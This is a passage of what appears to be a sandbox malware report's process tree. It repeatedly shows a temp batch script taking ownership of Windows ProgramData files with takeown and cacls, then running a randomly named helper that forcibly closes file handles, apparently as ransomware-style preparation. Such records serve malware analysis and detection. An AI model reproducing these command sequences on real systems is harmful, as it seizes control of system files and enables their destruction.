- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
    3⤵
    PID:3744
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
      4⤵
      PID:2104
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3304
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""
  2⤵
  PID:1404
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"
    3⤵
    PID:4040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
    3⤵
    PID:876
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
      4⤵
      PID:3412
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3632
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C
    3⤵
    PID:3744
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
    3⤵
    PID:3648
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
      4⤵
      PID:1384
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat""
  2⤵
  PID:2380
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C
    3⤵
    PID:1200
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat"
    3⤵
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "StorageHealthModel.dat" -nobanner
    3⤵
    PID:268
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "StorageHealthModel.dat" -nobanner
      4⤵
      PID:3924
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml""
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml"
    3⤵
    - Modifies file permissions
    PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner
    3⤵
    PID:3312
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner
      4⤵
      PID:2328
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml""
  2⤵
  PID:3148
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml"
    3⤵
    - Modifies file permissions
    PID:3924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner
    3⤵
    PID:876
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner
      4⤵
      PID:3412
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:284
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml""
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:208
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml"
    3⤵
    - Modifies file permissions
    PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "ThemeSettings2013.xml" -nobanner
    3⤵
    PID:1384
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "ThemeSettings2013.xml" -nobanner
      4⤵
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2244
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl""
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" /E /G Admin:F /C
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl"
    3⤵
    PID:112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" -nobanner
    3⤵
    PID:1680
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" -nobanner
      4⤵
      PID:4052
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2688
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl""
  2⤵
  PID:3456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" /E /G Admin:F /C
    3⤵
    PID:264
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl"
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" -nobanner
    3⤵
    PID:3164
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" -nobanner
      4⤵
      PID:1124
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1420
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl""
  2⤵
  PID:3888
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" /E /G Admin:F /C
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl"
    3⤵
    PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" -nobanner
    3⤵
    PID:940
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.bd986a82-15ec-44c3-ba13-593bc1047de7.1.etl" -nobanner
      4⤵
      PID:3924
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:280
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl""
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" /E /G Admin:F /C
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl"
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" -nobanner
    3⤵
    PID:1512
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.c554354c-5d25-449b-a6b5-7968636b6069.1.etl" -nobanner
      4⤵
      PID:208
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.c0420e39-c8db-4b54-90c3-080a89e51afd.1.etl""
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.c0420e39-c8db-4b54-90c3-080a89e51afd.1.etl" /E /G Admin:F /C
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.c0420e39-c8db-4b54-90c3-080a89e51afd.1.etl"
    3⤵
    - Modifies file permissions
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.c0420e39-c8db-4b54-90c3-080a89e51afd.1.etl" -nobanner
    3⤵
    PID:1796
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.c0420e39-c8db-4b54-90c3-080a89e51afd.1.etl" -nobanner
      4⤵
      PID:3992
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""
  2⤵
  PID:288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"
    3⤵
    - Modifies file permissions
    PID:1512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3632
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:1384
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""
  2⤵
  PID:996
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2860
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3840
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"
    3⤵
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3304
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:296
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""
  2⤵
  PID:280
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C
    3⤵
    PID:3840
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"
    3⤵
    - Modifies file permissions
    PID:112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "device.png" -nobanner
    3⤵
    PID:2360
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "device.png" -nobanner
      4⤵
      PID:3464
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2788
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""
  2⤵
  PID:3456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3296
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:400
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2196
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"
    3⤵
    - Modifies file permissions
    PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:280
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "tasks.xml" -nobanner
      4⤵
      PID:3984
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml""
  2⤵
  PID:2168
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:2484
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "DesktopSettings2013.xml" -nobanner
    3⤵
    PID:4064
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "DesktopSettings2013.xml" -nobanner
      4⤵
      PID:400
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2196
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml""
  2⤵
  PID:288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml" /E /G Admin:F /C
    3⤵
    PID:1760
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml"
    3⤵
    - Modifies file permissions
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner
    3⤵
    PID:1568
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner
      4⤵
      PID:316
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml""
  2⤵
  PID:1680
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml" /E /G Admin:F /C
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml"
    3⤵
    - Modifies file permissions
    PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner
    3⤵
    PID:3412
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner
      4⤵
      PID:3060
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2484
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml""
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml" /E /G Admin:F /C
    3⤵
    PID:456
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml"
    3⤵
    - Modifies file permissions
    PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "VdiState.xml" -nobanner
    3⤵
    PID:2856
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "VdiState.xml" -nobanner
      4⤵
      PID:3880
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2024
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""
  2⤵
  PID:2788
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"
    3⤵
    PID:288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
    3⤵
    PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
      4⤵
      PID:3784
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""
  2⤵
  PID:3172
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C
    3⤵
    PID:3744
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"
    3⤵
    PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
    3⤵
    PID:2104
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
      4⤵
      PID:1008
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:456
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""
  2⤵
  PID:3632
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftWordpad.xml" -nobanner
    3⤵
    PID:1404
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftWordpad.xml" -nobanner
      4⤵
      PID:360
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:272
- C:\Windows\SysWOW64\cmd.exe
